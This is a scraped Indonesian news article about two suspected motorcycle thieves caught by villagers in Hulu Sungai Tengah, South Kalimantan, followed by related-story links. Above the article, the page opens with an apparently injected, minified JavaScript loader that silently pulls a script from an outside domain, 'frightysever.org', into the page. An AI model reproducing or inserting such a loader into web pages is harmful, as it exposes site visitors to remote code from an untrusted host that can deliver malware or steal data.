(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BARABAI, Dua pelaku curanmor (pencurian kendaraan bermotor) berhasil ditangkap warga setelah ketahuan melakukan aksi di Desa Jamil, Kecamatan Labuan Amas Selatan, Kabupaten Hulu Sungai Tengah, Sabtu (31/3) sekitar pukul 03.00 Wita.
Korban atas nama Syahliadi (24) warga Desa Jamil RT 001 RW 001, Kecamatan Labuan Amas Selatan, Kabupaten Hulu Sungai Tengah. Diketahui pelaku adalah AK (31) warga Desa Mahang Baru, Kecamatan Labuan Amas Selatan, Kabupaten Hulu Sungai Tengah dan SP (29) warga Desa Panggang Marak, Kecamatan Labuan Amas Selatan, Kabupaten Hulu Sungai Tengah.
Kejadian bermula saat Syahliadi diberitahu oleh ibunya bahwa sepeda motor Yamaha Force One warna hitam putih dengan Nopol KH 4133 EB telah hilang. Sepeda motor milik Syahliadi tersebut terparkir di halaman rumah.
Mengetahui hal tersebut, Syahliadi bergegas keluar rumah untuk mencari sepeda motor tersebut. Ditengah perjalanan Syahliadi bertemu dengan temannya dan memberitahukan ada 2 orang laki-laki menggunakan Honda Beat warna merah sedang mendorong sepeda motor miliknya.
Syahliadi bersama beberapa orang lainnya menyebar untuk mencari keberadaan kedua orang tersebut. Setelah sampai di Desa Mahang Baru, Syahliadi bertemu dengan pengendara Honda Beat warna merah tersebut. Semula kedua pelaku tidak mengaku melakukan pencurian sepeda motor.
Syahliadi melaporkan kejadian tersebut ke Polsek Labuan Amas Selatan. Mendapat laporan tersebut petugas dari Polsek Labuan Amas Selatan mendatangi TKP dan mencari keberadaan dua pelaku curanmor tersebut. Pelaku AK dan SP beserta barang bukti sepeda motor milik korban dibawa ke Polsek Labuan Amas Selatan untuk proses penyidikan.
“Saat kedua pelaku bertemu dengan saksi, diketahui bahwa kedua pelaku mengendarai sepeda motor Beat dan salah satunya mendorong sepeda motor milik korban,†ujar Kapolres HST AKBP Sabana Atmojo SIK MH.
Maraknya kasus curanmor di wilayah hukum HST, Kapolres HST AKBP Sabana Atmojo SIK MH menghimbau seluruh masyarakat untuk lebih berhati-hati dan lebih memperhatikan kendaraan yang dimiliki.
“Mari kita bersama-sama mencegah terjadinya curanmor dengan berhati-hati saat memarkir motor, pasang kunci ganda dan parkirlah kendaraan di tempat yang dalam pengawasan atau mudah diawasi,†ungkap Kapolres HST. (rico)
KANALKALIMANTAN.COM, BANJARBARU - Tahun ini, Generasi Happy mengusung format online-offline-online untuk memberikan pengalaman yang menyeluruh… Read More
KANALKALIMANTAN.COM, BANJARBARU - Indosat Ooredoo Hutchison (Indosat atau IOH) melalui brand Tri melanjutkan rangkaian program… Read More
KANALKALIMANTAN.COM, SURABAYA - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, JAKARTA - Pemerintah memberlakukan tambahan pajak baru untuk kendaraan bermotor mulai 5 Januari 2025.… Read More
KANALKALIMANTAN.COM, BANJARMASIN - PT PLN (Persero) Unit Induk Penyaluran dan Pusat Pengatur Beban (UIP3B) Kalimantan… Read More
KANALKALIMANTAN.COM, MARTAPURA - Memasuki pengujung 2024 ini merupakan pengujung masa jabatan pula bagi pasangan Bupati… Read More
This website uses cookies.